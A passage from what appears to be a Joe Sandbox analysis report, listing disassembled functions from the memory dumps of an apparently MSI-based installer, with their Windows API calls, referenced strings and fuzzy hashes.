Instruction Fuzzy Hash: CC11A772A02621ABD7235BA89C49F6F36DCEB45781F191830FA09EE591DF60FC4087A4

Uniqueness

Uniqueness Score: -1.00%

Function 002FA150 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

_wcschr.LIBVCRUNTIME ref: 002FA21B
_wcschr.LIBVCRUNTIME ref: 002FA2C2
_wcschr.LIBVCRUNTIME ref: 002FA2E1

Part of subcall function 001B9120: FindResourceW.KERNEL32(00000000,?,00000006,-00000010,?,?,001BCB50,-00000010,?,002F55F7,00000008,DF534560), ref: 001B9143

_wcschr.LIBVCRUNTIME ref: 002FA383
GetTickCount.KERNEL32 ref: 002FA52A

Strings

0123456789AaBbCcDdEeFf, xrefs: 002FA1B1, 002FA1C3, 002FA1CD

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: _wcschr$Init_thread_footer$CountFindHeapProcessResourceTick
String ID: 0123456789AaBbCcDdEeFf
API String ID: 2181188311-3822820098
Opcode ID: 94d1cf3e075794c3283a78047ed3c1408eec3ee6a86c877c21c9693821035f2e
Instruction ID: 562f21b4334a551accc345154bac33fef6befb51def577f733f0c99f16e306b9
Opcode Fuzzy Hash: 94d1cf3e075794c3283a78047ed3c1408eec3ee6a86c877c21c9693821035f2e
Instruction Fuzzy Hash: 8FD102B0A10A098FDB10CF68C848BBEF7E5FF44350F14826DE65997291DB74E945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6A560C00 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 318COMMON

Download Yara Rule

APIs

Part of subcall function 6A547E10: GetProcessHeap.KERNEL32 ref: 6A547E6C

Part of subcall function 6A549220: FindResourceW.KERNEL32(00000000,?,00000006,?,?,?,6A5659A5,-00000010), ref: 6A549258

_wcschr.LIBVCRUNTIME ref: 6A560CC5
_wcschr.LIBVCRUNTIME ref: 6A560D69
_wcschr.LIBVCRUNTIME ref: 6A560D94
_wcschr.LIBVCRUNTIME ref: 6A560EDD

Strings

a, xrefs: 6A560DBF
0123456789AaBbCcDdEeFf, xrefs: 6A560C64, 6A560C74

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: _wcschr$FindHeapProcessResource
String ID: 0123456789AaBbCcDdEeFf$a
API String ID: 3569040288-3748620546
Opcode ID: a7c397a69796a2bf5b6a9fed30a65cc2205ab0858022502e60ffbbaec040f58c
Instruction ID: a0ab401689d68ddf133fddcd5ae9b5aff88a807a9cd31f09220487a9b9c5a022
Opcode Fuzzy Hash: a7c397a69796a2bf5b6a9fed30a65cc2205ab0858022502e60ffbbaec040f58c
Instruction Fuzzy Hash: 7AC17C71A016159FDB01CFA8C888B9EF7F5FF88314F11865AE524AB3A1DB35AD41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 001C9800 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 269COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0045B1E0,DF534560,?,?,?,?,?,?,?,?,?,?,?,?,00000000,003753A5), ref: 001C986A
GetModuleFileNameW.KERNEL32(0000FFFF,00000104,?,?,?,?,?,?,?,?,?,?,?,?,00000000,003753A5), ref: 001C98EA
EnterCriticalSection.KERNEL32(0045B1FC,?,?,?,?,?,?,?,?,?,?,?,00000000,003753A5,000000FF), ref: 001C9AA3
LeaveCriticalSection.KERNEL32(0045B1FC,?,?,?,?,?,?,?,?,?,?,00000000,003753A5,000000FF), ref: 001C9AC4

Strings

v, xrefs: 001C9ABD

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$Enter$FileLeaveModuleName
String ID: v
API String ID: 1807155316-3261393531
Opcode ID: 2049b08b09a7bea33dd78dcda4467919bf5fdbef4ab3e65b30d6d75c8fb4f6f4
Instruction ID: 37aea371052f229c39828b02b43593933890cb6beaa83425f185f4d14007dfd0
Opcode Fuzzy Hash: 2049b08b09a7bea33dd78dcda4467919bf5fdbef4ab3e65b30d6d75c8fb4f6f4
Instruction Fuzzy Hash: 71B14B70A00259EFDB11CFA4D888FAEBBB4AF19305F14419DE805EB291D775EE44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6A569F10 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 266COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000080,00000001,Close,50000001,?,00000128,00000025,00000032,0000000E,00000082,000001F5,00000000,50000000,?,00000026), ref: 6A56A1FB
DialogBoxIndirectParamW.USER32(00000000,00000000,?,6A56A280,6A5695D0,00000000), ref: 6A56A24A

Strings

Details >>, xrefs: 6A56A181
Copy, xrefs: 6A56A1E2
Send Error Report, xrefs: 6A56A15D
Close, xrefs: 6A56A114

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: DialogHandleIndirectModuleParam
String ID: Close$Copy$Details >>$Send Error Report
API String ID: 279259766-113472931
Opcode ID: e31a0d2546670da71902f9db200f573d53afdffb2f3f43c574627807c92cc740
Instruction ID: 2c81a3e0156059ab50594b2d535ddc4b7e24d0a14af8c22fa303142d2de9e9e5
Opcode Fuzzy Hash: e31a0d2546670da71902f9db200f573d53afdffb2f3f43c574627807c92cc740
Instruction Fuzzy Hash: A2A18B70A40215AFEB15CF64CC55BAEB7B5FF48705F014229FA12BB2D0EBB1A901CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002C0540 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 266COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000080,00000001,Close,50000001,?,00000128,?,00000032,0000000E,00000082,000001F5,?,50000000,?,00000026), ref: 002C082B

Strings

Details >>, xrefs: 002C07B1
Copy, xrefs: 002C0812
Send Error Report, xrefs: 002C078D
Close, xrefs: 002C0744
`>, xrefs: 002C064A

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: HandleModule
String ID: Close$Copy$Details >>$Send Error Report$`>
API String ID: 4139908857-2853602678
Opcode ID: 9dce009e0d2d6a62f756cec93986981c4437b7624d2029640a207afca1a42f15
Instruction ID: 7846802a7e4fa00407eae7c46aca591b5a77686e9431ff7db2cb66d633336bd4
Opcode Fuzzy Hash: 9dce009e0d2d6a62f756cec93986981c4437b7624d2029640a207afca1a42f15
Instruction Fuzzy Hash: ACA17B70A50255EBEB19DF50CC52FAEB7A5AF48744F10422DF601BB2C1EBB0A915CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001C6ED0 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 157COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0045B428,DF534560,00000000,0045B444), ref: 001C6F43
LeaveCriticalSection.KERNEL32(0045B428), ref: 001C6FA8
LeaveCriticalSection.KERNEL32(0045B428), ref: 001C709B

Strings

ATL:%p, xrefs: 001C7024
0^4, xrefs: 001C6F5B, 001C7059
v, xrefs: 001C6FA8, 001C709B
&^4, xrefs: 001C706C

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID: v$&^4$0^4$ATL:%p
API String ID: 2978645861-3831979984
Opcode ID: fa579e29ad799c3c3139565af9ef826098cf1370a22250f42ed9a9364705fec5
Instruction ID: dca541eb4966cca3af29c97a09da1bde9a999655b78105d3a88533437671f39a
Opcode Fuzzy Hash: fa579e29ad799c3c3139565af9ef826098cf1370a22250f42ed9a9364705fec5
Instruction Fuzzy Hash: C2517971904B449BDB21CF68C941BAAF7F4FF59711F00461DE896A3691E770B984CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A56E2C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6A56E2F7
___except_validate_context_record.LIBVCRUNTIME ref: 6A56E2FF
_ValidateLocalCookies.LIBCMT ref: 6A56E388
__IsNonwritableInCurrentImage.LIBCMT ref: 6A56E3B3
_ValidateLocalCookies.LIBCMT ref: 6A56E408

Strings

csm, xrefs: 6A56E39D

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: db8306013278fa9b990fb0b51a8f91e7a7f5cbd99352edc223bfb23906e3a7e2
Instruction ID: 8e74f1451b777736566204db710e49edfbc3aeb2895d140153104e0571b02c69
Opcode Fuzzy Hash: db8306013278fa9b990fb0b51a8f91e7a7f5cbd99352edc223bfb23906e3a7e2
Instruction Fuzzy Hash: B541C334A01209AFCF00CF68DC94A9EBBB5BF46318F158155ED24AB362DB31E916CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A547210 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6A547E10: GetProcessHeap.KERNEL32 ref: 6A547E6C

#17.MSI(00000002,?,00000000,?,AA831995), ref: 6A5472C2
#125.MSI(00000000,00000000,[1],?,AA831995), ref: 6A5472D9
#125.MSI(00000000,00000001,AA831995,?,AA831995), ref: 6A5472E6
#103.MSI(00000000,04000000,00000000,?,AA831995), ref: 6A5472F8
#8.MSI(00000000,?,AA831995), ref: 6A547307

Strings

[1], xrefs: 6A5472D1

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: #125$#103HeapProcess
String ID: [1]
API String ID: 2208923955-1278161592
Opcode ID: e133660900b5e11a0c96eb7fa80ddfb1f56823d25d433a9ecb2aa66bcd09b528
Instruction ID: 8ec518fe210cda5f83ab0e56e5944651403ecf6530cd48cf766380ff4d42a24d
Opcode Fuzzy Hash: e133660900b5e11a0c96eb7fa80ddfb1f56823d25d433a9ecb2aa66bcd09b528
Instruction Fuzzy Hash: 88417C71A016459FDB01DFA9C888B9EBBF8FF05324F118659F922E7291DB74A900CB50

Uniqueness

Uniqueness Score: -1.00%

Function 002B75C0 Relevance: 10.6, APIs: 7, Instructions: 108processsynchronizationCOMMON

Download Yara Rule

APIs

Wow64DisableWow64FsRedirection.KERNEL32(00000000,DF534560,?,?), ref: 002B7607
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,DF534560,003AEF1D), ref: 002B767F
GetLastError.KERNEL32 ref: 002B7690
WaitForSingleObject.KERNEL32(003AEF1D,000000FF), ref: 002B76AC
GetExitCodeProcess.KERNEL32(003AEF1D,00000000), ref: 002B76BD
CloseHandle.KERNEL32(003AEF1D), ref: 002B76C7
Wow64RevertWow64FsRedirection.KERNEL32(00000000), ref: 002B76E2

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Wow64$ProcessRedirection$CloseCodeCreateDisableErrorExitHandleLastObjectRevertSingleWait
String ID:
API String ID: 1153077990-0
Opcode ID: a1fd8d59a7ff8aac553462c1f1265bbc4ad3f9dc38db323a5a19496697a7539c
Instruction ID: b9cd9072e328c4ba60c40631c3d3931efb514faaa57bf7f0bd73bad0923aded7
Opcode Fuzzy Hash: a1fd8d59a7ff8aac553462c1f1265bbc4ad3f9dc38db323a5a19496697a7539c
Instruction Fuzzy Hash: 7A418E71E14789ABDB11CFA9CD04BEEBBF8AF89300F145659E825E7190D7749A40CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00219940 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 81threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(DF534560,DF534560), ref: 00219980
GetCurrentThreadId.KERNEL32 ref: 00219993
LeaveCriticalSection.KERNEL32(?), ref: 00219A11

Strings

>, xrefs: 00219950
>, xrefs: 0021995E, 00219A24
v, xrefs: 00219A11

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: >$ >$ v
API String ID: 2351996187-2080287267
Opcode ID: a899a9b28be823f5755d3c6adfd66a82a180192f08229125478742c2ba03797b
Instruction ID: b057aee1e4f27704f3871177930c5c4978b33bae9fe8c46c1ee6ef1f38879611
Opcode Fuzzy Hash: a899a9b28be823f5755d3c6adfd66a82a180192f08229125478742c2ba03797b
Instruction Fuzzy Hash: 7231C971900345DFDB12CF68D905BAEBBF4EF09304F144169E996E33A1E375AA40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002BF530 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shlwapi.dll,?,00000000,?,00000001,002CA241,00000001,DF534560,?,00000000,00000001), ref: 002BF54B
GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 002BF561
FreeLibrary.KERNEL32(00000000), ref: 002BF59A
FreeLibrary.KERNEL32(00000000,?,00000000,?,00000001,002CA241,00000001,DF534560,?,00000000,00000001), ref: 002BF5B6

Strings

Shlwapi.dll, xrefs: 002BF54A
DllGetVersion, xrefs: 002BF55B

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Library$Free$AddressLoadProc
String ID: DllGetVersion$Shlwapi.dll
API String ID: 1386263645-2240825258
Opcode ID: 50b72f905b04b5af0e7f9df4c1b2f33f3c8af5f23f2463e061442f4b6689cb04
Instruction ID: 7d8423d9e587e4ac50c663ef503531951b38c4423e73743ecbbbd875768b5598
Opcode Fuzzy Hash: 50b72f905b04b5af0e7f9df4c1b2f33f3c8af5f23f2463e061442f4b6689cb04
Instruction Fuzzy Hash: 8B21D4766143028BD711EF29ED81A6BB3E8BFDD745F80052EF449C7241EB31E8058BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6A56BE09 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6A56BE10
std::_Lockit::_Lockit.LIBCPMT ref: 6A56BE1A

Part of subcall function 6A55AEB0: std::_Lockit::_Lockit.LIBCPMT ref: 6A55AEE0
Part of subcall function 6A55AEB0: std::_Lockit::~_Lockit.LIBCPMT ref: 6A55AF08

codecvt.LIBCPMT ref: 6A56BE54
std::_Facet_Register.LIBCPMT ref: 6A56BE6B
std::_Lockit::~_Lockit.LIBCPMT ref: 6A56BE8B

Strings

dd]j, xrefs: 6A56BE25

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID: dd]j
API String ID: 712880209-2024568811
Opcode ID: 95760c86a71de8d0a5de8ae76c97672341ea52795221af952df8de898a8e22b5
Instruction ID: 64bf1c1da70b4be4a663e1346cec1248a46ffdf62fd56d01978e041277f1a6b3
Opcode Fuzzy Hash: 95760c86a71de8d0a5de8ae76c97672341ea52795221af952df8de898a8e22b5
Instruction Fuzzy Hash: 9A21CC36940214ABCB02EF94C8486AEB7F5BF85324F17451AF915AB392DF709D05C791

Uniqueness

Uniqueness Score: -1.00%

Function 6A57EB57 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6A57EC64,6A54E46D,6A55FCBC,00000001,00000000,6A54E46B,?,6A57EE31,00000021,FlsSetValue,6A5A52F0,6A5A52F8,00000001), ref: 6A57EC18

Strings

ext-ms-, xrefs: 6A57EBC2
api-ms-, xrefs: 6A57EBAE

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 528f7b7100667e8ffab8098b47c46cf8cdde94ce44e6d52bde42a8c5fc66cd4f
Instruction ID: 10ad870b9bac9a025db9ca113f309ef6971fa0d1ea6d70aa2968ce2b366befc9
Opcode Fuzzy Hash: 528f7b7100667e8ffab8098b47c46cf8cdde94ce44e6d52bde42a8c5fc66cd4f
Instruction Fuzzy Hash: E8216375A05311ABD732DA65DC44A8E3BA8AF437A4F124511EE56F7281DF30EE00CAE1

Uniqueness

Uniqueness Score: -1.00%

Function 00296970 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00296A00

Part of subcall function 003497F8: EnterCriticalSection.KERNEL32(00459EA0,?,?,001B9F37,0045AAD4,003CA720), ref: 00349802
Part of subcall function 003497F8: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9F37,0045AAD4,003CA720), ref: 00349835
Part of subcall function 003497F8: RtlWakeAllConditionVariable.NTDLL ref: 003498AC

GetProcAddress.KERNEL32(SetWindowTheme), ref: 00296A3D
__Init_thread_footer.LIBCMT ref: 00296A54

Part of subcall function 00349842: EnterCriticalSection.KERNEL32(00459EA0,-00000010,?,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?), ref: 0034984D
Part of subcall function 00349842: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?,?,00000008), ref: 0034988A

Part of subcall function 00276110: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00276151
Part of subcall function 00276110: _wcschr.LIBVCRUNTIME ref: 0027620F

Strings

UxTheme.dll, xrefs: 002969D1
explorer, xrefs: 00296A67
SetWindowTheme, xrefs: 00296A32

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave$AddressConditionDirectoryProcSystemVariableWake_wcschr
String ID: SetWindowTheme$UxTheme.dll$explorer
API String ID: 3020813744-3123591815
Opcode ID: 97f880ca943fe43be6a8a6dc1b876d72fbedc8f2cc76fef06bab61a52656456f
Instruction ID: d8cd7be9a500774702aa9a03683643e2be565889807529527967bc0ae39e537e
Opcode Fuzzy Hash: 97f880ca943fe43be6a8a6dc1b876d72fbedc8f2cc76fef06bab61a52656456f
Instruction Fuzzy Hash: 9A212771A00341EBCB22CF18DC46B9977E4EB49B22F104236F821AB3D2D775E9108BD8

Uniqueness

Uniqueness Score: -1.00%

Function 003631A5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,003632B2,?,?,?,00000000,00000000,?,0036351C,00000021,FlsSetValue,003D104C,003D1054,?), ref: 00363266

Strings

ext-ms-, xrefs: 00363210
api-ms-, xrefs: 003631FC

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 3bef515560e07c85fc91ca1f75fa33408194282e5ad1449b105b48e2d26e256f
